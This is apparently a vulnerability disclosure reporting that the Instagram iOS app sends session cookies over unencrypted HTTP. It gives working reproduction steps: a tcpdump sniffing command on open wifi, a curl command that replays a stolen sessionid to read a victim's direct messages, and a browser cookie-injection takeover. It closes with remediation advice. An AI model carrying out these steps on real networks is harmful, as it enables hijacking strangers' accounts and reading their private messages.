Instagram makes API calls to non-HTTPS endpoints with session cookies in the request headers allowing full session hijack by a malicious actor.
Steps to reproduce (on Mac OS X):
- Jump on an open or WEP encrypted wifi access point
- Put your network interface into promiscuous mode filtering on i.instagram.com
sudo tcpdump -In -i en0 -s 2048 -A dst i.instagram.com
- Wait for someone to use the Instagram iOS app on the same network
- Extract cookie request header from the resulting output
- Use sessionid cookie parameter to make any api call as that user
Even https endpoints like direct messages.
curl -H 'User-Agent: Instagram 6.0.4 (iPhone6,2; iPhone OS 7_1_1; en_GB; en-GB) AppleWebKit/420+' \ -H 'Cookie: sessionid=REDACTED' \ https://i.instagram.com/api/v1/direct_share/inbox/`
This returns the user's direct message inbox as JSON
I was able to perform a session hijack on my own account on my laptop while someone else browsed instagram on my iPhone.
I was also able to:
- take the cookie sniffed from the iOS app
- go to instagram.com as an unlogged in user.
- set document.cookie = $COOKIE
- navigate to a profile
- see I'm logged in as that user
There is some screwy behaviour where 'instagram.com/' gets into redirect loop, I will see if I can fix that. However going to 'instagram.com/someones_profile' works and shows me as logged in.
I think this attack is extremely severe because it allows full session hijack and is easily automated. I could go to the Apple Store tomorrow and reap thousands of accounts in one day, and then use them to post spam.
- Use SSL everywhere
- Revoke all logged-in sessions?